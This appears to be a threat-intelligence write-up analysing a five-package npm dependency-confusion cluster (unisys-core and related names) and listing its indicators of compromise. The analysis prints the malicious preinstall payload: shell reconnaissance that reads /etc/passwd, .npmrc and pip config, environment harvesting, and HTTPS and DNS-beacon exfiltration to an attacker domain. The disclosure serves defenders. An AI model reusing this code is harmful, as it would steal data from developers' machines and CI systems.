Disclaimer: All research and opinions expressed here are my own and are independent of any employer or organisation.

unisys-core high by Paul Newton

unisys-core - Recon Cluster

Five-package cluster of malicious packages. The packages — unisys-agentic-ai-playground, unisys-auth, unisys-common, unisys-core, and unisys-sdk — use Unisys-style package naming and version 99.99.2 to beat internal npm install pinning. All five share an identical index.js payload; only the name and description fields in package.json differ. The payload is substantially more capable than the arlo-meeting-assistant-backend cluster: beyond hostname and username, it executes shell commands (whoami, id, uname -a, head of /etc/passwd and /etc/hosts), harvests the first 30 environment variable key names, extracts npm registry config, git user email, AWS credential presence, CI environment detection, Docker context, pip config, and the first three lines of .npmrc. Exfiltration uses two independent channels: an HTTPS POST to p1s.uk and a DNS beacon encoding the package name and hostname into subdomains of dep.p1s.uk — ensuring collection succeeds even in environments that block outbound HTTP. Author is fabricated as "platform-tools" to appear as a legitimate internal toolchain publisher. Severity is high in CI/CD contexts; all five packages fire simultaneously if a project depends on multiple names, broadening the attack surface.

Package

Name

unisys-core

Version

99.99.2

Published by

elitevishalorg

Publisher email

vishalkumarrpvv@gmail.com

View on NPM

Threat Actor

Unknown

Tags

#npm #dependency-confusion #recon #dns-beaconing #ci-cd #preinstall #env-stealer

Package Metadata — Fabricated Legitimacy

Each package carries a plausible description tailored to its name, designed to pass casual inspection. The author field "platform-tools" impersonates a legitimate internal toolchain publisher. The preinstall hook runs index.js directly — unlike the Arlo cluster, there is no separate postinstall.js; all payload logic lives in the same file that serves as the entry point.

package.json — fabricated metadata per package

// unisys-agentic-ai-playground
{ "description": "SDK components and integration helpers",  "scripts": { "preinstall": "node index.js" }, "author": "platform-tools" }

// unisys-auth
{ "description": "Authentication and authorization utilities", "scripts": { "preinstall": "node index.js" }, "author": "platform-tools" }

// unisys-common
{ "description": "Common utilities and shared helpers",      "scripts": { "preinstall": "node index.js" }, "author": "platform-tools" }

// unisys-core
{ "description": "Core platform modules",                    "scripts": { "preinstall": "node index.js" }, "author": "platform-tools" }

// unisys-sdk
{ "description": "Shared UI components and utilities",       "scripts": { "preinstall": "node index.js" }, "author": "platform-tools" }

Shell Command Execution

The payload wraps execSync in a helper function that silently swallows errors and caps execution at three seconds per command. Commands are run for both reconnaissance and CI/CD context detection. The id command is particularly valuable to the attacker in pipeline environments: on a CI runner, the service account's UID, GID, and group memberships reveal whether the pipeline has privileged access (e.g. docker group membership, sudo rights). The inclusion of /etc/passwd head and /etc/hosts head leaks internal hostnames and any non-standard system accounts configured on the build machine.

index.js — shell command execution helper and recon targets

function run(cmd) {
  try { return execSync(cmd, { timeout: 3000 }).toString().trim(); } catch(e) { return ''; }
}

const data = JSON.stringify({
  p:          pkg,
  h:          os.hostname(),
  u:          os.userInfo().username,
  d:          __dirname,
  c:          process.cwd(),
  t:          new Date().toISOString(),
  ip:         Object.values(os.networkInterfaces()).flat()
                .filter(i => !i.internal && i.family === 'IPv4')
                .map(i => i.address),
  whoami:     run('whoami'),
  id:         run('id'),                            // UID/GID/group memberships
  pwd:        run('pwd'),
  uname:      run('uname -a'),
  etc_passwd: run('head -5 /etc/passwd'),
  etc_hosts:  run('head -5 /etc/hosts'),
  env_keys:   Object.keys(process.env).slice(0, 30),  // key names only — reveals what secrets are configured
  path:       process.env.PATH || '',
  home:       process.env.HOME || '',
  node:       process.version,
  arch:       os.arch(),
  platform:   os.platform(),
  mem:        Math.round(os.totalmem() / 1024 / 1024) + 'MB',
  uptime:     Math.round(os.uptime()) + 's',
  npm_config: run('npm config get registry 2>/dev/null'),   // reveals internal Artifactory/Nexus
  git_user:   run('git config user.email 2>/dev/null'),      // directly identifies the developer
  aws_id:     process.env.AWS_ACCESS_KEY_ID ? 'SET' : '',
  ci:         process.env.GITHUB_ACTIONS || process.env.GITLAB_CI || '',
  docker:     run('cat /proc/1/cgroup 2>/dev/null | head -3'),
  pip_conf:   run('cat /etc/pip.conf 2>/dev/null || cat ~/.pip/pip.conf 2>/dev/null'),
  npmrc:      run('cat /etc/npmrc 2>/dev/null || cat ~/.npmrc 2>/dev/null | head -3')
});

Dual Exfiltration — HTTPS and DNS Beacon

The payload operates two independent exfiltration channels. The primary channel is an HTTPS POST to p1s.uk:443/dep-confusion/{package-name} carrying the full JSON payload. The secondary channel is a DNS beacon: two lookups are attempted against subdomains of dep.p1s.uk, encoding the package name and victim hostname into the subdomain labels. DNS beaconing is specifically designed for environments that block outbound HTTP/HTTPS — corporate networks commonly permit DNS resolution while restricting direct internet access, meaning the DNS beacon succeeds in environments where the HTTPS POST would fail. The attacker receives at minimum a confirmation of the package name and victim hostname even in heavily restricted networks.

index.js — HTTPS POST and DNS beacon exfiltration

// Primary: HTTPS POST with full payload
const req = https.request({
  hostname: 'p1s.uk',
  port: 443,
  path: '/dep-confusion/' + pkg,
  method: 'POST',
  headers: { 'Content-Type': 'application/json', 'Content-Length': Buffer.byteLength(data) },
  timeout: 5000
}, () => {});
req.on('error', () => {});
req.write(data);
req.end();

// Secondary: DNS beacon — works through outbound-HTTP-blocked environments
try { dns.resolve(pkg + '.dep.p1s.uk', () => {}); } catch(e) {}
try { dns.resolve(os.hostname() + '.' + pkg + '.dep.p1s.uk', () => {}); } catch(e) {}

CI/CD Context and Severity

The shell command execution (id, head /etc/passwd, git config user.email) is the most dangerous element in CI/CD environments: on a GitHub Actions runner, a GitLab CI job, or a Jenkins agent, those commands expose the service account context, pipeline identity, and the presence of AWS credentials loaded into the environment. The npm_config field directly reveals whether an internal Artifactory or Nexus registry is in use — valuable intelligence for a follow-on supply chain attack. The git_user field uniquely identifies the developer who triggered the install. If a project depends on multiple package names from this cluster (e.g. unisys-core and unisys-auth), all five fire simultaneously, multiplying the signal returned to the attacker from a single npm install run.

Indicators of Compromise

Malicious Packages

Package Version Author Notes
unisys-agentic-ai-playground 99.99.2 platform-tools Recon; preinstall hook; identical payload to all four sibling packages
unisys-auth 99.99.2 platform-tools Recon; preinstall hook; identical payload to all four sibling packages
unisys-common 99.99.2 platform-tools Recon; preinstall hook; identical payload to all four sibling packages
unisys-core 99.99.2 platform-tools Recon; preinstall hook; identical payload to all four sibling packages
unisys-sdk 99.99.2 platform-tools Recon; preinstall hook; identical payload to all four sibling packages

Domains

Domain Type Context
p1s[.]uk C2 Primary exfiltration receiver — accepts HTTPS POST with full recon payload; shared with Arlo cluster (arlo-meeting-assistant-backend) and unisys-uka
dep.p1s[.]uk C2 — DNS beacon DNS exfiltration subdomain; package name and hostname encoded as subdomain labels for beacon in HTTP-blocked environments

URLs

URL Context
hxxps://p1s[.]uk/dep-confusion/unisys-agentic-ai-playground Primary exfiltration endpoint — unisys-agentic-ai-playground
hxxps://p1s[.]uk/dep-confusion/unisys-auth Primary exfiltration endpoint — unisys-auth
hxxps://p1s[.]uk/dep-confusion/unisys-common Primary exfiltration endpoint — unisys-common
hxxps://p1s[.]uk/dep-confusion/unisys-core Primary exfiltration endpoint — unisys-core
hxxps://p1s[.]uk/dep-confusion/unisys-sdk Primary exfiltration endpoint — unisys-sdk
{pkg}.dep.p1s[.]uk DNS beacon — package name encoded in subdomain label
{hostname}.{pkg}.dep.p1s[.]uk DNS beacon — victim hostname and package name both encoded in subdomain labels

Environment Variables / Config Paths

Artefact Context
AWS_ACCESS_KEY_ID Presence checked (SET / empty) — confirms whether AWS credentials are loaded into the environment
GITHUB_ACTIONS / GITLAB_CI CI environment detection — identifies pipeline context
PATH / HOME Always collected — reveals environment layout
* (first 30 key names) env_keys field collects the first 30 environment variable names without their values — key names alone reveal which secrets are configured (e.g. DATABASE_URL, GITHUB_TOKEN, NPM_TOKEN)